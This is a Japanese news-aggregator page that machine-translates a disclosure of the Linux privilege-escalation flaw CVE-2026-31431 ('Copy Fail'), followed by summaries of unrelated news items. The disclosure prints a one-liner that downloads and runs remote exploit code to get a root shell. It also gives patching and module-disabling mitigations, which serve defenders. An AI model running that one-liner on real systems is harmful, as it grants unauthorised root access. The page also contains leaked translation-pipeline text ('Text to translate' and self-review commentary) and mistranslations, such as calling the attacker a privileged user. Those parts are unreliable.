コピー失敗 – CVE-2026-31431

2026/04/30 3:13

コピー失敗 – CVE-2026-31431

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

CVE-2026-31431「Copy Fail」は、Xint Code による自動スキャンで発見された重大なコンテナエスケープ脆弱性であり、Linux システム上の何らかの未特権ユーザーが root に権限を昇級することを可能にします。この欠陥は 2017 年に追加された

algif_aead
モジュールにおける論理エラーに起因しており、タイミングの問題やレース条件が存在しない直線の攻撃経路によってデータ漏洩を引き起こします。2026-04-29 に公開され、2017 年以来のほぼすべての主流の Linux ディストリビューションに影響を与えており、Ubuntu、RHEL、Amazon Linux、SUSE、Debian、Arch、Fedora などを含むスタンドアロンの 732 バイトのProof-of-Conceptスクリプトによって確認されています。

重大性と範囲:

  • 高リスク: マルチテナントホスト、Kubernetes クラスター、CI リナラー、クラウド SaaS 環境。
  • 中リスク: シングルトナントサーバー。
  • 比較的低リスク: シングルユーザーのノートパソコン(権限昇級のみ)。

緩和措置と影響: 管理者は直ちにメインラインの修正(コミット

a664bf3d603d
で特定)を適用する必要があります。緊急的な臨時対策として、脆弱なモジュールを無効化するために
/etc/modprobe.d/disable-algif.conf
を使用し、
rmmod algif_aead
を実行してください。AF_ALG の無効化は、それを明示的に使用するアプリケーション(例:afalg エンジンを使用する OpenSSL)に影響を与えるものの、dm-crypt、LUKS、IPsec、SSH などのコアサービスには影響しません。非信頼のワークロードについては、パッチの有無に関わらず追加の防御層として seccomp を使用して AF_ALG ソケットの作成をブロックすることをお勧めします。

Text to translate

The original summary is well-written, clear, and comprehensive. No improvement is strictly necessary, but a slightly more structured version below offers better readability while retaining all key points.

Improved Summary: CVE-2026-31431 "Copy Fail"

A critical container escape vulnerability, CVE-2026-31431 ("Copy Fail"), discovered by Xint Code via automated scanning, allows any unprivileged user on Linux systems to escalate privileges to root. The flaw stems from a logic error in the

algif_aead
module—an optimization added in 2017—which enables data leakage through a straight-line attack path without timing issues or race conditions. Disclosed publicly on 2026-04-29, the vulnerability affects nearly all mainstream Linux distributions since 2017, confirmed across Ubuntu, RHEL, Amazon Linux, SUSE, Debian, Arch, Fedora, and more via a standalone 732-byte proof-of-concept script.

Severity & Scope:

  • High Risk: Multi-tenant hosts, Kubernetes clusters, CI runners, and cloud SaaS environments.
  • Medium Risk: Single-tenant servers.
  • Lower Risk: Single-user laptops (privilege escalation only).

Mitigation & Impact: Administrators must urgently apply the mainline fix identified by commit

a664bf3d603d
. As an immediate temporary measure, disable the vulnerable module using
/etc/modprobe.d/disable-algif.conf
and
rmmod algif_aead
. While disabling AF_ALG impacts applications explicitly using it (e.g., OpenSSL with the afalg engine), core services like dm-crypt, LUKS, IPsec, and SSH remain unaffected. For untrusted workloads, blocking AF_ALG socket creation via seccomp is recommended as an additional defense layer regardless of patch status.

本文

コピー失敗:普遍的な Linux 権限昇格攻撃

破線円で示されたのはコピーの意図する着地点であり、そこから右下方へと連続して三つの帯を形成しながら流出している実線の円は、そのターゲットに到達しなかったコピーを表しています。

CVE-2026-31431

  • 信頼性: 100% 確実に成功
  • 互換性: 2017 年以降の全ディストリビューションに対応
  • タイプ: コンテナエスケープに用いられる基元攻撃
  • サイズ: 732 バイト
  • 発見者: Xint Code 社によって発見

多くの Linux 向けの権限昇格exploit(LPE)は、レース条窗口やカーネル固有のオフセットが必要となりますが、「コピー失敗」は単純なロジック上の欠陥に起因しており、これらは一切不要です。この 732 バイトの Python スクリプトで、2017 年以来出荷されているすべての Linux ディストリビューションを root(最高権限)へ昇格させることができます。

authencesn
というコマンドに含まれる単一のロジックバグが、AF_ALG および splice() を介して 4 バイト分のページキャッシュの書き込み操作に連鎖しており、約 10 年にわたり沈黙していた脆弱性です。

デモ

同じスクリプトを使って四つの異なるディストリビューションをテストし、わずか一回の実行で四つの root シェルを取得しました。修正を加えることなく、この同一の exploit バイナリがすべての Linux ディストリビューションで動作します。

デモ: tmux — コピー失敗デモ(ライブ実行)

影響範囲

2017 年からパッチ適用までの間にビルドされたカーネルを搭載している場合、つまり実質的に主流のすべての Linux ディストリビューションにおいて、対象となります。

「コピー失敗」を実行するには特権を持つローカルユーザーアカウントがあれば十分です。ネットワークへのアクセス、カーネルデバッグ機能、または事前にインストールされる特殊なツールは不要です。カーネル暗号化 API(AF_ALG)が実質的なすべての主流ディストリビューションのデフォルト設定で有効になっているため、2017 年からパッチ適用までの期間を自動的に利用できます。

実際に検証した主要なディストリビューション:

ディストリビューションカーネルバージョン
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 14.36.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

これらは直接検証したものです。Debian、Arch、Fedora、Rocky、Alma、Oracle、または組み込みシステムなど、影響を受けるカーネルを搭載している他のディストリビューションも同様の挙動を示します。他での検証結果を共有したい場合は、Issue を作成してリストに加えてください。

パッチ適用を行う前に?

重なりシナリオ影響度
マルチテナント Linux ホスト共有開発環境、シェル-as-a-サービス、ジャンプホスト、ビルドサーバーなど、複数のユーザーが同一カーネルを共有する場所。
(あらゆるユーザーが root になる)
Kubernetes / コンテナクラスターページキャッシュはホスト全体で共有されています。適切な基元攻撃を持つポッドは、ノードを侵害し、テナント境界を越えることができます。
(コンテナ間、テナント間の横移動が可能)
CI ランナーおよびビルドファームGitHub Actions の自己所有ランナー、GitLab ランナー、Jenkins エージェントなど、不信任された PR コードを常設ユーザーとして実行し、共有カーネル上にある環境。
(PR がランナー上の root になる)
ユーザーコードを実行するクラウド SaaSノートブックホスト、エージェントサンドボックス、サーバーレス関数、テナントが提供するコンテナやスクリプトのいずれか。
(テナントがホストの root になる)
標準的な Linux サーバーシングルテナントのプロダクション環境で、シェルアクセスはチームのみが可能。
(内部 LPE; Web 向けの RCE と窃取された認証情報の連鎖と組み合わせて使用)
低いシングルユーザーのラップトップおよびワークステーションあなた自身が唯一のユーザーです。このバグは単独で遠隔攻撃者のアクセスを提供するわけではありませんが、ローカルコードの実行結果を root として昇格させることは可能です。
(ポストエクスプロイト時の権限昇格)

Exploit(漏洞利用)

PoC は、防御者が自身のシステムを検証し、ベンダーのパッチの有効性を確認するために公開されています。

慎重に使用してください。 お持ちのシステムか、テストする権限をすでに有するシステムのみで実行してください。このスクリプトはセットUIDバイナリのページキャッシュを変更するため、再起動では変更は持続しませんでしたが、生成された root シェルは本物です。プロダクション環境での実行は避けてください。

  • ファイル:
    copy_fail_exp.py
    (732 バイト)
    • 自立した PoC。Python 3.10+ の標準ライブラリ(os, socket, zlib)のみを使用します。
    • デフォルトでは
      /usr/bin/su
      をターゲットに設定していますが、第 1 引数として別のセットUID バイナリを指定することも可能です。
    • SHA256:
      a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9

快速実行:

curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

Issue トラッカー: https://github.com/theori-io/copy-fail-CVE-2026-31431

対策(Mitigation)

まずはパッチを適用してください。ディストリビューションのカーネルパッケージを更新し、メインラインコミット

a664bf3d603d
を含むバージョンへ更新してください。これは 2017 年の
algif_aead in-place
オプティマイザを元に戻すものであり、これによりページキャッシュページの writable 宛先スキャッターリストに到達することを防ぐことができます。多くの主要なディストリビューションはこのパッチを配布しています。

パッチ適用前:

algif_aead
モジュールを無効化してください。

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

何が壊れるか? 圧倒的な数のシステムにおいては、測定可能な影響はありません。

  • 影響しない: dm-crypt / LUKS, kTLS, IPsec/XFRM, in-kernel TLS, OpenSSL/GnuTLS/NSS のデフォルトビルド、SSH, カーネルキーリング暗号化。これらはすべてカーネル内の暗号化 API を直接使用するため AF_ALG を経由しません。
  • 影響する可能性あり: 明示的に AF_ALG を使用するように設定されたユーザー空間プログラム — および OpenSSL の afalg エンジンが明示的に有効化されている場合や、一部の組み込み暗号化オフロードパス、または AEAD/スキプハ/ハッシュソケットを直接バインドしているアプリケーションなど。疑問がある場合は
    lsof | grep AF_ALG
    または
    ss -xa
    で確認してください。
  • パフォーマンス: AF_ALG はカーネル暗号化 API へのユーザー空間フロントエンドです。これを無効にしても、すでに呼び出しを行っていたもの以外のパフォーマンス低下はありません。呼び出しを行っていたものの場合は、パフォーマンスが通常のユーザー空間暗号化ライブラリにフォールバックします。これは既にほとんど全てのシステムが行っている動作です。

不信任されたワークロード(コンテナ、サンドボックス、CI)については、パッチの有無にかかわらず、seccomp を介して AF_ALG ソケットの作成をブロックしてください。

公開までのタイムライン

  • 2026-03-23: Linux カーネルセキュリティチームに報告
  • 2026-03-24: 初回対応確認
  • 2026-03-25: パッチの提案およびレビュー開始
  • 2026-04-01: メインラインへのパッチコミット
  • 2026-04-22: CVE-2026-31431 の割り当て
  • 2026-04-29: 一般公開 (https://copy.fail/)

Xint Code

あなたのソフトウェアは AI エポックにおいて安全ですか?

「コピー失敗」は、Xint Code が Linux 暗号化サブシステムに対して約 1 時間のスキャンにより発見されました。完全な根本原因、図面、およびそれを発見したオペレータープロンプトについては、Xint のブログ記事に詳しく掲載されています。

同様のスキャンでは、他の高重大度バグも浮上しており、現在は協調的な公開プロセス中です。Xint Code は、同じような方式でプロダクションコードベースの監査を実施しています——一人のオペレータープロンプト、ハネス(自動化テスト枠組み)なし、トリガーと影響に関する物語と共に優先順位付けされた結果を提示します。

実績

  • 0-day RCE: データベースカテゴリを網羅しました(Redis, PostgreSQL, MariaDB)。人間の介入なし。(ZeroDay Cloud)
  • トップ3: DoD DARPA 主催の AI サイバーチャレンジにおいて、DARPA AIxCC ファイナリストに選出。
  • 9 回の DEF CON CTF: DEF CON CTF の歴史上最も優勝回数の多いチーム。

私たちのチームと連絡する →

同じ日のほかのニュース

一覧に戻る →

2026/04/29 23:34

ゼッド 1.0

## Japanese Translation: Zed は公式にバージョン 1.0 をリリースし、多くの開発者が Mac、Windows、Linux 上でこの高性能なコードエディタを安心して利用できる重要な転換点を迎えました。Rust で完全構築され、GPU による加速レンダリングを採用する Zed は、従来のデスクトップアプリモデル(Electron など)を手放し、ゲーム環境のような優れた速度を実現するために設計された環境へと移行しました。独自に GPUI ライブラリ、CRDT を基盤とする DeltaDB データベース、シェーダーなどスタック全体を深く制御することで、競合には真似できないパフォーマンスを発揮しており、5 年で数百万行のコードを処理し、千以上のバージョンをリリースしてきました。バージョン 1.0 では数十の言語に対応し、Git 統合、SSH リモート、デバッガー、レインボー括弧などをサポートしており、すでに数十万人のデイリーユーザーに信頼されています。AI ネイティブなエディタとしての Zed は、Claude Agent、Codex、OpenCode、Cursor などのエージェントに対して Agents Client Protocol を用いてキーストローク粒度の予測とともに複数のエージェントを並行して統合しており、DeltaDB はチームメンバーが他者とエージェントとの会話を招待し、生成コンテキスト内で直接エイジェントコードをレビュー・発展させることを可能にします。このリリースの後、Zed は每周アップデートを継続し、人間と AI エージェントが文字レベルでリアルタイムに協業する未来へと向けられていきます。さらに、エンタープライズのニーズをサポートするために中央集権的な請求、ロールベースのアクセス制御、チーム管理、セキュリティ制御を提供する新たな「Zed for Business」のオファーも間もなく登場し、効率的なソフトウェア shipping において不可欠なツールとしての地位を確固たるものにします。現在、数十万人の開発者が Zed に依存して日々ソフトウェアを shipping し続けており、その職人技とパフォーマンスへの姿勢にチームは自信を抱いています。

2026/04/30 6:58

ドイツは現在、世界最大の弾薬製造国となっています。

## Japanese Translation: ラインメタルはドイツの軍事生産能力を劇的に拡大し、同国を世界トップクラスの常规兵器製造国として確立しました。この転換は、主に供給量の劇的な増加——例えば榴弾の生産速度が以前から10倍に向上し、軍用トラックの年間生産量は600台から4,500台へと増大した——によって国内防衛の緊急な需要を満たすことを目的として推進されています。これらの拡大努力はロシアの侵攻に伴うドイツの工業基盤の変革を導き、連邦国防軍(Bundeswehr)を欧州最強の勢力と位置づけることを目指していますが、新しい生産能力は特定の分野で現在の米国の生産水準を上回ることを可能にしますが、必ずしも米国よりも大量の在庫を保有しているわけではないことを意味しません。 この増大を支援するため、ラインメタルは35万件以上の雇用申請(うちドイツからの申請が25万件)を受け、急速に労働力を拡大しています。同社は2030年までに直接雇用を7万人に増やし、既存の1万1,500社のサプライヤーネットワーク全体でさらに21万人の追加ポストを設けることを期待しています。そのサプライヤーの多くは既に自動車業界における専門知識を持っています。この移行は構造転換であり、縮小傾向にある自動車業界から吸収されていた雇用を防衛生産が担うものです。ラインメタルのCEO は、これらの削減により防衛兵器生産が最終的にドイツの自動車セクターの約1/3 の雇用を代替する可能性があるとの見通しを示しています。結局のところ、この再編成は深層的な産業統合と、常规弾薬および装備品における大幅に強化された生産能力を確保します。

2026/04/30 3:54

コミットメッセージに「HERMES.md」が含まれると、リクエストが追加の使用量課金対象へのルーティングを招きます。

## Japanese Translation: Claude Code v2.1.119 for macOS で、重大な請求関連の脆弱性が確認されました。macOS 上の git リポジトリで、その**最近のコミットメッセージ**内に特定の大文字小文字を区別する文字列 `HERMES.md` が含まれる場合、API リクエストが「余計な使用量」課金への不正ルートに誤って誘導され、ユーザーの Max プランの枠を外れて請求が発生します。このコンテンツベースのルーティングの欠陥により、ダッシュボードでは検出されない状態で資金が消耗します。この正確な文字列を含む孤立したコミットを対象としたバイナリサーチ調査の間、ダッシュボードが残週のキャパシティが 86% 以上残っていると誤示しているにもかかわらず、余計な使用量クレジットとして200米ドル以上の額が消費されました。この問題は**コミットメッセージ**内の大文字のファイル拡張子(例:"add HERMES.md")に厳密に結びついており、小文字の `hermes.md` や他の拡張子、または異なるファイル名(`HERMES.txt`、`README.md` 等)では発生しません。このエラーは「余計な使用量が不足」という API 400 エラーメッセージとして現れ、根本原因がコンテンツベースのルーティングであることを示さず、診断が困難になります。このバグにより、余計なクレジットが枯渇するとプロジェクトが実質的に利用不可能となり、表面的なテキスト照合が実際の課金制限を優先する深刻なリスクを示すことになります。

コピー失敗 – CVE-2026-31431 | そっか~ニュース